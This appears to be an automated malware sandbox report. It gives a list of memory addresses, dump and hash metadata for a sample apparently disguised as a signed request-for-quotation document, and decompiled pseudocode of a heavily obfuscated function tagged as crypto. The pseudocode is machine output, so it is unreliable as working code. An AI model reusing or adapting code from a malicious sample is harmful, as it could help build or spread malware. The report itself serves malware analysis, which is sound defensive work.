0x00a1fc54
0x00a1fc59
0x00a7601b
0x00a76021
0x00a76021
0x00a7601b
0x00a1fc61
0x00000000
0x00a1fc67
0x00a1fc6a
0x00a1fc6f
0x00a7602a
0x00a76030
0x00a76030
0x00a7602a
0x00a1fc77
0x00000000
0x00a1fc7d
0x00a1fc7f
0x00a1fc81
0x00a1fc85
0x00a1fc87
0x00a1fc87
0x00a1fc8c
0x00a1fc8f
0x00a1fc94
0x00a76039
0x00a1fc9c
0x00a1fca4
0x00a1fcaa
0x00a1fcaf
0x00a76046
0x00a1fcbd
0x00a1fcbf
0x00a7606d
0x00a76073
0x00a76073
0x00a7606d
0x00a1fcc8
0x00a1fccd
0x00a1fccf
0x00a1fcd3
0x00a1fcd5
0x00a1fcd5
0x00a1fcde
0x00a1fce1
0x00a1fce3
0x00a1fce3
0x00a1fce8
0x00a1fcf0
0x00a1fcf2
0x00a1fcf5
0x00a1fcf7
0x00a1fcff
0x00a1fd02
0x00a1fd06
0x00a1fd11
0x00a1fd14
0x00a1fd17
0x00a7607c
0x00a76082
0x00a76082
0x00a7607c
0x00a1fd1f
0x00000000
0x00a1fd25
0x00a1fd28
0x00a1fd2d
0x00a7608b
0x00a76091
0x00a76091
0x00a7608b
0x00a1fd35
0x00000000
0x00a1fd3b
0x00a1fd3e
0x00a1fd43
0x00a7609a
0x00a20016
0x00a20018
0x00000000
0x00a2001a
0x00a2001a
0x00a1fd82
0x00a1fd84
0x00a760d9
0x00a760df
0x00a760df
0x00a760d9
0x00a1fd8d
0x00a1fd95
0x00a1fd98
0x00a1fd9d
0x00a760e8
0x00000000
0x00000000
0x00a760ee
0x00000000
0x00a1fda3
0x00a1fda3
0x00a1fda5
0x00a1fe8b
0x00a1fe90
0x00a1fe95
0x00a760f7
0x00a760fd
0x00a760fd
0x00a760f7
0x00a1fe9d
0x00000000
0x00a1fea3
0x00a1fea5
0x00a76106
0x00a1feab
0x00a1feab
0x00a1feab
0x00a1feb2
0x00a1feb5
0x00000000
0x00a1feb5
0x00a1fe9d
0x00a1fdab
0x00a1fdad
0x00a7610f
0x00a76115
0x00a76115
0x00a7610f
0x00a1fdb6
0x00a1fdbb
0x00a7611e
0x00a76120
0x00a1fdc1
0x00a1fdc1
0x00a1fdc5
0x00a1fdc5
0x00a1fdc7
0x00a1fdcc
0x00a1fdce
0x00a1fdce
0x00a1fdd6
0x00a1fdd8
0x00000000
0x00a1fdd8
0x00a1fd9d
0x00a20018
0x00a760a0
0x00a760a0
0x00a1fd4b
0x00000000
0x00000000
0x00a1fd51
0x00a1fd56
0x00a760a9
0x00a760af
0x00a760af
0x00a760a9
0x00a1fd5e
0x00a1febf
0x00a760b8
0x00a1fec5
0x00a1fec5
0x00a1fec5
0x00a1fec7
0x00000000
0x00a1fd64
0x00a1fd64
0x00a1fd68
0x00a760c1
0x00a760c7
0x00a760c7
0x00a760c1
0x00a1fd70
0x00000000
0x00a1fd76
0x00a1fd78
0x00a760d0
0x00a1fd7e
0x00a1fd7e
0x00a1fd7e
0x00a1fd80
0x00000000
0x00a1fd80
0x00a1fd70
0x00a1fd5e
0x00a1fd35
0x00a1fd1f
0x00a7604c
0x00a7604c
0x00a1fcb7
0x00a1ffc0
0x00a1ffc3
0x00a1ffc6
0x00a1ffcb
0x00a76055
0x00a7605b
0x00a7605b
0x00a76055
0x00a1ffd3
0x00000000
0x00a1ffd9
0x00a1ffdb
0x00a76064
0x00a1ffe1
0x00a1ffe1
0x00a1ffe1
0x00a1ffe3
0x00a1ffe7
0x00a1ffed
0x00000000
0x00a1ffed
0x00a1ffd3
0x00000000
0x00a1fcb7
0x00a7603f
0x00a1fc9a
0x00000000
0x00a1fc9a
0x00a1fc77
0x00a1fc61
0x00a1fc4e
0x00a1fc33
0x00a75fe5
0x00a75fe5
0x00a1fbf5
0x00000000
0x00000000
0x00000000
0x00000000
0x00a1fbf5
0x00a1fbdf
0x00a1fa05
0x00a1fa05
0x00a1fa0a
0x00a1fe14
0x00a75fb8
0x00a75fb8
0x00a1fe1e
0x00000000
0x00a1fe24
0x00000000
0x00a1fe24
0x00a1fe1e
0x00a1fa10
0x00a1fa10
0x00a1fa15
0x00a1fe29
0x00a1fe2d
0x00a1fe35
0x00a1fe38
0x00a1fe3b
0x00a75fc1
0x00000000
0x00000000
0x00a75fc7
0x00a1fe43
0x00a1fe45
0x00000000
0x00000000
0x00a1fe4b
0x00a1fe50
0x00a75fd0
0x00a75fd6
0x00a75fd6
0x00a75fd0
0x00a1fe5d
0x00a1fe60
0x00000000
0x00a1fe60
0x00a1fe41
0x00a1fe41
0x00000000
0x00a1fa1b
0x00a1fa1b
0x00a1fa1d
0x00a1fa20
0x00000000
0x00a1fa20
0x00a1fa15
0x00a1f9ed
0x00a1f9ed
0x00000000
0x00a1f9ed
0x00a1f9cd
0x00a1f9ba
0x00a1f9ba
0x00000000
0x00a1f9ba
0x00a1fba8
0x00a1fb65
0x00a1fb1d
0x00a1fb23
0x00a1fb26
0x00000000
0x00a1fb26
0x00a1faf3
0x00a1faf3
0x00000000
0x00a1faf3
0x00a1fab4
0x00a1fa79
0x00a1fa56
0x00a1fa56
0x00000000
0x00a1fa56
0x00a1f94d
0x00a1f950
0x00a1f955
0x00a75e79
0x00a75e7f
0x00a75e7f
0x00a75e79
0x00a1f95b
0x00a1f960
0x00a75e88
0x00a75e8a
0x00a75e8a
0x00a75e8e
0x00a75e93
0x00000000
0x00a75e99
0x00a75e9c
0x00a75e9f
0x00a75ea1
0x00a75ea3
0x00a75ea3
0x00a75ea7
0x00000000
0x00a75ea7
0x00a1f966
0x00a1f966
0x00a1f96b
0x00a75eb0
0x00a75eb6
0x00a75eb6
0x00a75eb0
0x00a1f973
0x00a1fbc7
0x00a1f9a5
0x00a1f9a5
0x00000000
0x00a1f979
0x00a1f97d
0x00a1f97f
0x00a75ebf
0x00a75ec5
0x00a75ec5
0x00a75ebf
0x00a1f987
0x00000000
0x00a1f98d
0x00a1f98d
0x00a1f990
0x00a1f994
0x00a1f997
0x00a1f99f
0x00a1fff7
0x00a20061
0x00a20064
0x00a2006a
0x00a75ece
0x00a75ed0
0x00a75ed0
0x00000000
0x00a20064
0x00a1fffd
0x00a20000
0x00000000
0x00a20006
0x00a75ecc
0x00000000
0x00a75ecc
0x00a20000
0x00000000
0x00a1f99f
0x00a1f987
0x00a1f973

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction ID: e72ea599f534f5d0c6c6ff7814384ad5c6109f63ce34caa5098a8472b8429c5f
Opcode Fuzzy Hash: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction Fuzzy Hash: 5262F536E086A68FDB21CF28C4407FABBB1AF55354F29C2B9CC599B256D371DC819780

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC98, Relevance: .6, Instructions: 630
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E0041BC98(void* __eax, signed int __ebx, signed int __ecx, void* __edx, void* __esi) {
				signed int _t72;
				void* _t74;
				signed int _t75;
				signed char _t77;
				signed int _t84;
				signed int _t87;

				_t77 = __ecx;
				_t75 = __ebx;
				asm("adc eax, 0xce94d5e9");
				 *0xb05d3786 =  *0xb05d3786 & __ecx;
				asm("rcr dword [0xe9046536], 0x7c");
				 *0x956b77fc =  *0x956b77fc | __ebx;
				 *0x7b3f78e4 =  *0x7b3f78e4 + __ecx;
				if( *0x7b3f78e4 >= 0) {
					L1:
					asm("rcl dword [0xe4798f09], 0x79");
					_t84 = (_t84 |  *0x8cb8a127) -  *0xd7b40e9d;
					 *0x248410c =  *0x248410c + _t75;
					_t77 = _t77 ^  *0x70051b0c;
				} else {
					__edi =  *0x7820a87d * 0xd222;
					__ecx = __ecx - 1;
					asm("ror dword [0x8b85bd9e], 0xe4");
					 *0x7cf28ce7 = __bl;
					asm("adc [0x1ffd5593], ecx");
					__bl =  *0x6013302c;
					__ecx = 0x91ee1b8e;
					__esp = __esp &  *0x424cbd0e;
					_t7 = __ebx;
					__ebx =  *0xdf91f437;
					 *0xdf91f437 = _t7;
					__esp = __esp - 0xf6fcde01;
					asm("rcl byte [0x71a8720c], 0xb3");
					_push( *0x5bafc227);
					__ebp = __ebp + 1;
					 *0x19f96d9d =  *0x19f96d9d ^ __esp;
					__ebp =  *0xdddf446b * 0x6db;
					__ebp =  *0xdddf446b * 0x6db -  *0x293e1e8c;
					if(__ebp != 0) {
						goto L1;
					} else {
						asm("sbb [0x30cce57b], esi");
						__ecx = 0xffffffff91ee1b8f;
						__esi = __esi -  *0xfd503309;
						__eax = __eax ^  *0xa04ce292;
						_pop(__ecx);
						_pop(__edx);
						__esp = __esp &  *0x260f4af5;
						if(__esp > 0) {
							goto L1;
						} else {
							__ecx =  *0xe966ee7f * 0xd7d9;
							 *0x8de3a0c7 =  *0x8de3a0c7 + __ecx;
							 *0x1b620e25 =  *0x1b620e25 + __edi;
							_pop(__eax);
							if( *0x1b620e25 == 0) {
								goto L1;
							} else {
								 *0xfe2b8574 =  *0xfe2b8574 & __ebp;
								 *0x37d2b384 = __dl;
								__ebx = __ebx + 1;
								asm("movsb");
								 *0x76bc2ace =  *0x76bc2ace >> 0xeb;
								__edx = __edx -  *0x1dadb6cd;
								 *0x8913fe16 =  *0x8913fe16 & __ebx;
								_push( *0xfaa05aff);
								__eax = __eax - 1;
								__ebp = __ebp + 0x4d27d005;
								if(__ebp < 0) {
									goto L1;
								} else {
									asm("rcl dword [0xac05ef78], 0x3f");
									 *0xef7032fd =  *0xef7032fd | __ecx;
									_t8 = __esi;
									__esi =  *0x3611b405;
									 *0x3611b405 = _t8;
									__edi =  *0xd805ef6b * 0x5c36;
									if(__edi > 0) {
										goto L1;
									} else {
										asm("adc edx, 0xe405ef77");
										 *0xef796031 =  *0xef796031 + __ecx;
										__edx =  *0xc303ef69 * 0x79e5;
										asm("rcr byte [0x15f15304], 0x43");
										 *0xd44304ff =  *0xd44304ff << 0xd8;
										asm("adc [0xd104ff0e], ebx");
										 *0x4ff18de =  *0x4ff18de << 0xba;
										__edi = __edi +  *0xff16d73e;
										asm("sbb [0x1beddb05], esi");
										__edx =  *0xc303ef69 * 0x000079e5 &  *0x4b05ef65;
										asm("adc cl, [0x5ef6b28]");
										__cl = __cl ^ 0x000000f2;
										__edx =  *0xc303ef69 * 0x000079e5 &  *0x4b05ef65 &  *0xef6d3103;
										__esp = 0xefc93107;
										_push(__ebx);
										asm("rcl byte [0x789de82], 0xd3");
										if(( *0x3cc996eb & __edi) > 0) {
											goto L1;
										} else {
											__edx =  *0x789e07f * 0x53b8;
											asm("adc [0xda752282], al");
											__bh = __bh | 0x00000032;
											__ebx = __ebx ^ 0x89d238bd;
											 *0x624b1d08 =  *0x624b1d08 & __ch;
											asm("sbb dl, [0x806829e5]");
											__esp =  *0x5f4308c8;
											 *0x5889489 =  *0x5889489 >> 0xcb;
											if( *0x624b1d08 <= 0) {
												goto L1;
											} else {
												__eax =  *0x1908c87e * 0xc39f;
												 *0x8b663625 =  *0x8b663625 - __ebp;
												__esp =  *0x473308c8;
												_pop(__ecx);
												asm("adc edx, [0x72e9646e]");
												_pop( *0x130209c8);
												__ebp = __ebp -  *0xc6576a3e;
												_pop(__esi);
												 *0x71090ad0 = __ch;
												_t15 = __ebp;
												__ebp =  *0xab81d8e;
												 *0xab81d8e = _t15;
												__ebx =  *0xd30a0acf;
												 *0x1083f6c5 =  *0x1083f6c5 << 0x76;
												__al = __al ^  *0x67d03e1c;
												if(__al < 0) {
													goto L1;
												} else {
													__ecx =  *0x787c0b7c * 0xb69e;
													asm("stosd");
													 *0xf865e2f8 =  *0xf865e2f8 ^ __edx;
													asm("cmpsw");
													__ebx = __ebx ^ 0xf50908c7;
													asm("rcl byte [0x643a4212], 0x17");
													asm("sbb bl, 0x8a");
													_push(0x9f2111c8);
													asm("adc eax, 0x74358cfd");
													__eax =  *0x36b6b26b * 0xcd7f;
													asm("rol byte [0x5deae5b6], 0x64");
													asm("ror dword [0x6ad5cff1], 0xb7");
													if(( *0x6bf114ed & __ecx) >= 0) {
														goto L1;
													} else {
														__ecx = __ecx - 0x8d3b4d71;
														__ebp = __ebp - 0x75ec54d9;
														__dl = __dl &  *0xae12c3ca;
														asm("rol byte [0x62f26c14], 0x97");
														if(__dl != 0) {
															goto L1;
														} else {
															__edx = __edx |  *0x6f95d87b;
															__ah = __ah - 0x20;
															__esp = __esp - 0x564ab43f;
															__esp = __esp - 0xc9ab9b0b;
															_t26 = __edx;
															__edx =  *0x316024fd;
															 *0x316024fd = _t26;
															asm("adc cl, 0x12");
															L1();
															_pop( *0x6c79ae8);
															__esp =  *0x5f0cabcc;
															asm("sbb eax, [0x7ff18116]");
															 *0x57222c96 =  *0x57222c96 + __ebx;
															asm("movsw");
															if( *0x57222c96 != 0) {
																goto L1;
															} else {
																__eax = __eax |  *0xde07d77b;
																_pop(__ebp);
																if(__eax <= 0) {
																	goto L1;
																} else {
																	_pop( *0x9dbd2976);
																	__ebx = __ebx &  *0x92411689;
																	__eax = __eax - 1;
																	_push( *0x4a9977f0);
																	asm("adc dh, [0x8c77c8f9]");
																	__ebx = __ebx + 1;
																	asm("sbb esp, [0xc6fdf506]");
																	asm("sbb eax, [0x89c8b68]");
																	__bl = __bl +  *0xd9119d30;
																	__bh = __bh - 0xc9;
																	 *0x17aeede7 = __bl;
																	__ecx = __ecx -  *0xc9f689c5;
																	_push(__ebx);
																	__cl = __cl ^  *0x3a471ee0;
																	 *0xd2791ced =  *0xd2791ced + __ebx;
																	 *0x1bba1680 =  *0x1bba1680 + __dl;
																	asm("sbb eax, [0x5987e3be]");
																	if( *0x1bba1680 >= 0 || __esp <=  *0x5aba3579) {
																		goto L1;
																	} else {
																		__esp = __esp | 0x16a78076;
																		__ecx =  *0x20e1b02e;
																		__edi = 0xe107d981;
																		__dl = __dl ^ 0x000000f6;
																		 *0xfafb106d =  *0xfafb106d >> 0x2e;
																		asm("sbb edx, 0xe5a47026");
																		 *0x62b40ec9 =  *0x62b40ec9 << 8;
																		asm("sbb [0xf62e550f], edi");
																		__ebx = __ebx +  *0x49b5b4ef;
																		_t31 = __esi;
																		__esi =  *0xa00b87f5;
																		 *0xa00b87f5 = _t31;
																		 *0xcb2f0d8f =  *0xcb2f0d8f -  *0x20e1b02e;
																		__esp = __esp ^ 0x59e387eb;
																		__edi = 0xffffffffe107d980;
																		asm("rol dword [0xbbc68a96], 0xee");
																		asm("lodsb");
																		asm("sbb bl, 0x80");
																		_pop(__ecx);
																		_pop( *0x7811df3);
																		 *0x34e3340f =  *0x34e3340f >> 0xea;
																		__esp = __esp &  *0xa559a2ea;
																		_pop(__esp);
																		__esp = __esp ^ 0x91d5021e;
																		asm("stosb");
																		if(__esp <= 0) {
																			goto L1;
																		} else {
																			__edi =  *0x7c7ae27e * 0xba84;
																			__edx = 0x60f913d3;
																			 *0xd17d8781 =  *0xd17d8781 >> 0x27;
																			asm("adc dh, [0x258994b0]");
																			__esi = __esi + 1;
																			asm("rol dword [0x88c9fafb], 0xbe");
																			 *0x8e0cea8a =  *0x8e0cea8a << 0x14;
																			asm("scasb");
																			 *0x8d65c15 =  *0x8d65c15 & __esi;
																			__ah = __ah | 0x00000022;
																			__edx =  *0x982d9966;
																			 *0x982d9966 = 0x60f913d3;
																			_push(__esi);
																			__eax = 0xf7781105;
																			 *0xa4152427 =  *0xa4152427 & __edx;
																			_t33 = __edx;
																			__edx =  *0x3442fe3f;
																			 *0x3442fe3f = _t33;
																			_push(__ebp);
																			_push(__edi);
																			asm("rcl dword [0x903f19ed], 0x7c");
																			__esp = __esp + 1;
																			__al = __al | 0x0000002a;
																			 *0xf43d2c18 =  *0xf43d2c18 - __cl;
																			asm("scasd");
																			__ecx =  *0x8dc9b0c0;
																			 *0x486f85ce =  *0x486f85ce >> 0x7f;
																			 *0xb6c23b28 =  *0xb6c23b28 + __ch;
																			 *0xc4d015f2 =  *0xc4d015f2 | __cl;
																			asm("adc [0x68acd329], esi");
																			__eax = 0xf7781105 -  *0x16834be;
																			__esi = 0xfa593c0;
																			__edx =  *0xc1a35d60 * 0x92fe;
																			if(__edx < 0) {
																				goto L1;
																			} else {
																				 *0xd2700370 =  *0xd2700370 ^ __ebp;
																				asm("sbb al, [0x94aff03a]");
																				_pop(__esi);
																				__edx = __edx ^ 0xd5e1c12b;
																				 *0xc5d26695 =  *0xc5d26695 << 0xcd;
																				asm("adc esp, [0x71e8820d]");
																				__ebp = __ebp + 1;
																				__dh =  *0xc008a01a;
																				asm("rcl dword [0x2eed7a13], 0x9b");
																				if(__ebp != 0) {
																					goto L1;
																				} else {
																					__edi = __edi -  *0xdc88d7b;
																					asm("sbb ecx, [0x563d1d07]");
																					asm("adc ebp, [0xf9a3491d]");
																					__edx =  *0x1cf9480f;
																					if(( *0x46468e83 & 0xf7781105) == 0) {
																						goto L1;
																					} else {
																						 *0x9474bdfd =  *0x9474bdfd | __esp;
																						__ebp = __ebp -  *0x8e7c5498;
																						_t38 = __dh;
																						__dh =  *0xae2c90c;
																						 *0xae2c90c = _t38;
																						_push( *0xc6f54d6);
																						asm("rcr byte [0x58377df2], 0x1a");
																						 *0x72be0ad7 = __dh;
																						__ebp = __ebp ^ 0x7f7735c8;
																						 *0x7c687df9 =  *0x7c687df9 >> 0xcb;
																						__edx = __edx | 0x00970d11;
																						__eax = __eax - 1;
																						asm("rol dword [0x134a49c1], 0x60");
																						 *0xf271d321 = __edx;
																						asm("adc ah, [0xd5977c84]");
																						asm("rol dword [0x82e85e6c], 0x81");
																						__eax = __ecx;
																						__edi = __edi - 1;
																						__esp = __esp +  *0xf1ee1af3;
																						__edi = __edi + 0x2c8bff3d;
																						asm("adc ebp, [0xdab41e0d]");
																						 *0xe8bd5a38 =  *0xe8bd5a38 | __dh;
																						asm("adc [0x8e8390c5], edx");
																						0xfa593c1 = 0xfa593c2;
																						asm("adc [0xb3838111], ebx");
																						asm("sbb bl, 0xe5");
																						asm("adc bl, [0x244f1ce6]");
																						asm("rcr dword [0x117ddc27], 0x79");
																						 *0xd8934ede =  *0xd8934ede << 0x2f;
																						asm("rcl dword [0x9d0a16ed], 0xbf");
																						__cl = __cl + 0xc9;
																						__esp = __esp + 1;
																						__esi = 0x5ff5d3cf;
																						__ebx = __ebx |  *0xa94ab101;
																						 *0x8207c27 = 0xfa593c0;
																						asm("stosb");
																						__esi =  *0xcbe6aade;
																						 *0x3296139d =  *0x3296139d ^ __ecx;
																						_pop(__esi);
																						asm("sbb ebx, [0x267459ee]");
																						 *0x5eba05f9 = __dl;
																						asm("cmpsw");
																						_pop( *0x8d3c961b);
																						_pop(__esp);
																						if( *0x3296139d >= 0) {
																							goto L1;
																						} else {
																							__ebx =  *0x6d11217d * 0x33fb;
																							__edx = __edx + 0x4cd194ec;
																							asm("adc ebx, 0x7c64a4da");
																							_pop(__ecx);
																							asm("ror byte [0xd5977c84], 0xb4");
																							asm("rol dword [0xc7c81aed], 0x2f");
																							__ebp = __ebp +  *0x10a868f5;
																							asm("adc esp, [0xf95ca12e]");
																							asm("rcl byte [0x9601f4a8], 0xfd");
																							asm("lodsd");
																							__edi = 0x9266c92f;
																							 *0x9b13ee9a =  *0x9b13ee9a - 0x9266c92f;
																							asm("adc ebx, [0xb6ab523b]");
																							__ah = __ah ^ 0x00000024;
																							 *0x48a10da9 =  *0x48a10da9 | 0xf7781105;
																							if( *0x48a10da9 >= 0) {
																								goto L1;
																							} else {
																								asm("rol dword [0xa5477471], 0x77");
																								__dh = __dh ^  *0x7d5c8d3c;
																								 *0x43211521 =  *0x43211521 >> 0xc3;
																								__ebx =  *0x32014c6a * 0x6fc9;
																								__ecx = __ecx + 1;
																								if( *0xff057a3a >= __ch) {
																									goto L1;
																								} else {
																									__edx = __edx ^  *0xfca6bc71;
																									asm("sbb ecx, [0xcba7930d]");
																									 *0x1b9c120e = __eax;
																									 *0xeb47b2eb = __ebp;
																									__ebx = __ebx ^  *0xa412463e;
																									__dl = __dl -  *0xe5dc02e7;
																									__ch =  *0x439d1c84;
																									if(__dl >= 0) {
																										goto L1;
																									} else {
																										__ebx = __ebx ^ 0x43d5a071;
																										_push(__esi);
																										asm("ror dword [0x72e26361], 0xe8");
																										__ebp = __ebp &  *0x7824252e;
																										__esi = __esi - 0x110535fe;
																										 *0x893f1713 =  *0x893f1713 >> 0x65;
																										 *0x4476fb88 =  *0x4476fb88 ^ __ch;
																										__esi = __esi + 1;
																										__ebx = 0x840377f1;
																										if(__esi < 0) {
																											goto L1;
																										} else {
																											__eax =  *0xedd5977c * 0x560f;
																											__ah = __ah +  *0x19e0ce1;
																											asm("sbb dh, [0xfbd60db7]");
																											_t43 = __ch;
																											__ch =  *0xcd1c8e84;
																											 *0xcd1c8e84 = _t43;
																											__dl = __dl &  *0xc90e02e1;
																											 *0xa4afd50e =  *0xa4afd50e ^ __ebp;
																											__edi = 0xffffffff9266c92e;
																											_pop(__esi);
																											__edi =  *0xda46196a * 0x73a7;
																											asm("rol byte [0x1d42c414], 0xdd");
																											_pop(__esp);
																											 *0x77fd9384 =  *0x77fd9384 << 0xc0;
																											asm("adc ebx, [0x6d51126d]");
																											 *0x41b73188 = __al;
																											 *0x6e91c930 =  *0x6e91c930 << 0xb4;
																											_push( *0xfae53e39);
																											asm("rcr dword [0xa05fdc11], 0xe8");
																											_pop(__ebx);
																											__edi = 1 +  *0xda46196a * 0x73a7;
																											__esi = __esi +  *0x73f363f8;
																											asm("ror dword [0xedc9a0d1], 0xa5");
																											asm("sbb bh, 0x10");
																											__bl = __bl - 0xb0;
																											asm("sbb esp, [0xe6f13f9a]");
																											asm("sbb ebp, [0xe7bf328e]");
																											__esi = __esi &  *0xa960f3e;
																											asm("sbb eax, 0x1e7b4fc4");
																											__edi = __ebp;
																											if(__bh <  *0x475af3a0) {
																												goto L1;
																											} else {
																												__eax =  *0xbfae0b7c * 0x24f5;
																												__ebx = 0xffffffff8d05321f;
																												 *0xfc79ff3 = __edx;
																												__ebx = 0xffffffff8d05321f ^  *0xfbdcac9f;
																												asm("sbb [0x3373551c], dh");
																												asm("sbb edx, [0xd60daa1b]");
																												asm("ror dword [0x9bbf8b09], 0x64");
																												__edx =  *0x128e84fb;
																												 *0x806080d7 =  *0x806080d7 + __cl;
																												 *0xf1f7b835 =  *0xf1f7b835 ^  *0xbfae0b7c * 0x000024f5;
																												asm("sbb eax, 0x2c8bff3d");
																												_push(__esi);
																												asm("ror byte [0x986f5810], 0x12");
																												if( *0xf1f7b835 <= 0) {
																													goto L1;
																												} else {
																													__esi =  *0x56a0337e * 0xeaf9;
																													asm("adc ebp, 0xfce76781");
																													if(__esi < 0) {
																														goto L1;
																													} else {
																														__eax =  *0x1396207c * 0x3daa;
																														__edi =  *0x7211d66a * 0x7f97;
																														if(__edi != 0) {
																															goto L1;
																														} else {
																															 *0xf52f177b =  *0xf52f177b >> 0xad;
																															_push(__ebp);
																															asm("cmpsb");
																															__ch = __ch & 0x0000003c;
																															_push(0xece054d8);
																															__dl = __dl ^ 0x000000c6;
																															__cl = __cl ^  *0x99278be0;
																															asm("sbb edx, [0x629ff1d4]");
																															 *0x9c8811fc =  *0x9c8811fc + __esp;
																															__eax = __eax - 1;
																															asm("sbb esi, [0x63fa7268]");
																															asm("sbb eax, 0x900aedcd");
																															asm("rcr byte [0xf9375820], 0xb0");
																															 *0x5f475af3 =  *0x5f475af3 ^ __esi;
																															if( *0x5f475af3 < 0) {
																																goto L1;
																															} else {
																																__eax =  *0xdd4c177c * 0xc605;
																																 *0xeede1d =  *0xeede1d + __edx;
																																__bl = __bl ^ 0x000000a8;
																																asm("sbb [0x33aba7d9], esp");
																																asm("rol dword [0xa12e933b], 0xf8");
																																__ecx = __ecx &  *0xed1406fc;
																																 *0xa97821f3 =  *0xa97821f3 << 0x3c;
																																asm("sbb edi, [0x8fd04c13]");
																																__ecx = 0xf16351b;
																																_pop(__edx);
																																asm("rcr byte [0x3d528282], 0x13");
																																__ch = __ch |  *0x550ec3d2;
																																_push( *0x3b7dfed3);
																																 *0x35fe7824 =  *0x35fe7824 + __bl;
																																__ebp = __ebp ^  *0x615c1005;
																																asm("sbb edx, [0xd776aa91]");
																																 *0x9ced1c88 = __ch;
																																asm("sbb [0x3ee7bfc4], ecx");
																																_t52 = __esi;
																																__esi =  *0x8212960f;
																																 *0x8212960f = _t52;
																																asm("adc [0x2c8bff3d], ebx");
																																_push( *0x8212960f);
																																 *0x512b810e =  *0x512b810e >> 0x1f;
																																 *0xeffd3a2 =  *0xeffd3a2 & __cl;
																																__esp =  *0x9b38409d;
																																__ebx = __ebx ^  *0x1305400e;
																																 *0xee4c1987 = __edi;
																																asm("rcr dword [0x61888636], 0x37");
																																_push( *0x2c2e1d68);
																																_pop(__esi);
																																asm("lodsd");
																																 *0x7d5c8d3c =  *0x7d5c8d3c << 0xb1;
																																asm("sbb [0xe5420d21], ebp");
																																asm("sbb edi, [0xcc8058fd]");
																																asm("sbb ecx, [0x8390c0de]");
																																__ebx = __ebx -  *0x3d0cdac5;
																																__esp =  *0x9b38409d + 1;
																																 *0x337756c6 =  *0x337756c6 - __ah;
																																__esi =  *0x8212960f - 0x9fe9f8d3;
																																L1();
																																if(__esp >  *0x659b64e8) {
																																	goto L1;
																																} else {
																																	__ebp =  *0xd217f * 0x4007;
																																	 *0x46c45368 =  *0x46c45368 | __edi;
																																	 *0x905c8cf9 =  *0x905c8cf9 | __ch;
																																	_pop( *0x580d4639);
																																	__eax = __eax - 0xca12bf7;
																																	_push(0x840377f1);
																																	asm("scasb");
																																	asm("rcl dword [0xef61c226], 0xb6");
																																	__ecx = 0x2f047325;
																																	asm("ror byte [0xd5b06038], 0x22");
																																	__al = __al;
																																	__ebx = __ebx ^  *0x1f789bfe;
																																	__ecx =  *0x3de7e6bb;
																																	 *0x3de7e6bb = 0x2f047325;
																																	 *0x562c8bff =  *0x562c8bff ^ __ecx;
																																	__ah = 0xa;
																																	 *0xac6043a3 =  *0xac6043a3 << 6;
																																	asm("cmpsb");
																																	if( *0xac6043a3 > 0) {
																																		goto L1;
																																	} else {
																																		__edx =  *0x687df97f * 0xe7c;
																																		_t60 = __ecx;
																																		__ecx =  *0x49b68bfb;
																																		 *0x49b68bfb = _t60;
																																		__eax = __eax +  *0x66c7b68b;
																																		asm("rol dword [0xfe782437], 0x32");
																																		 *0xef3e4315 = __eax;
																																		__cl = __cl -  *0x32a822;
																																		__ebp =  *0xfbd60db9;
																																		__ch = 0x84;
																																		 *0x27800b8e = 0x840377f1;
																																		__esi = __esi - 1;
																																		__bl =  *0x396f2ad7;
																																		__esi = __esi +  *0xc7a50a2b;
																																		__al = __al | 0x0000000c;
																																		__dl = __dl |  *0x80bd9b08;
																																		 *0xf20d7c36 =  *0xf20d7c36 + 0x840377f1;
																																		if( *0xf20d7c36 >= 0) {
																																			goto L1;
																																		} else {
																																			__ebx =  *0xd758377d * 0x990c;
																																			__esi = __esi + 1;
																																			 *0x1e1e25d4 =  *0x1e1e25d4 - __edi;
																																			_pop(__eax);
																																			__bh = __bh ^ 0x000000d7;
																																			__esi = __esi &  *0xb91d490b;
																																			 *0xcb24dbdf =  *0xcb24dbdf >> 2;
																																			__edi = __edi + 1;
																																			 *0xfc7a7e7 =  *0xfc7a7e7 ^ __bh;
																																			if(__edi >= 0) {
																																				goto L1;
																																			} else {
																																				__ebx =  *0x1a7eda7d * 0xe4ee;
																																				__bh =  *0x8369b5b0;
																																				__ebx =  *0x198b0b8e;
																																				 *0x198b0b8e =  *0x1a7eda7d * 0xe4ee;
																																				__ebp = __ebp - 1;
																																				 *0xc79ff309 =  *0xc79ff309 + __esp;
																																				__ecx =  *0xf8b7a011;
																																				_pop(__edi);
																																				 *0x67bbb089 =  *0x67bbb089 & __esi;
																																				__edi = __edi - 1;
																																				__esp = __esp & 0x840885fd;
																																				if(__esp < 0) {
																																					goto L1;
																																				} else {
																																					__edi =  *0xedd5977c * 0x2616;
																																					__eax = __eax |  *0x29e66b31;
																																					 *0xe6238168 =  *0xe6238168 << 0x11;
																																					 *0x3da61686 =  *0x3da61686 >> 0x90;
																																					_t64 = __ecx;
																																					__ecx =  *0x9603378d;
																																					 *0x9603378d = _t64;
																																					asm("adc ecx, [0x75620f9d]");
																																					__al =  *0x1274afa0;
																																					 *0x2f85ce1a =  *0x2f85ce1a | __dl;
																																					if( *0x2f85ce1a >= 0) {
																																						goto L1;
																																					} else {
																																						__ebp =  *0x8d090b7d * 0x118e;
																																						__ch = 0xb5;
																																						asm("adc [0x5db63432], bh");
																																						__bh =  *0x840890f9;
																																						if(__edi <  *0xd168f6bf) {
																																							goto L1;
																																						} else {
																																							__eax =  *0xedd5977c * 0x6a13;
																																							_t65 = __ecx;
																																							__ecx =  *0xfcbb350d;
																																							 *0xfcbb350d = _t65;
																																							__esp = __esp - 1;
																																							__esi = __esi - 1;
																																							__esp = __esp ^  *0x6fd53729;
																																							 *0x3cab49cc =  *0x3cab49cc << 5;
																																							__ebx =  *0x26c69817;
																																							asm("rcl byte [0xb4b942f6], 0x10");
																																							 *0x42388283 = __edx;
																																							__ebx =  *0x26c69817 - 1;
																																							asm("rol byte [0x28571802], 0xaf");
																																							 *0xa12e938a =  *0xa12e938a | __cl;
																																							__esp = __esp |  *0xef0e06fc;
																																							asm("rol dword [0xb8853e07], 0x77");
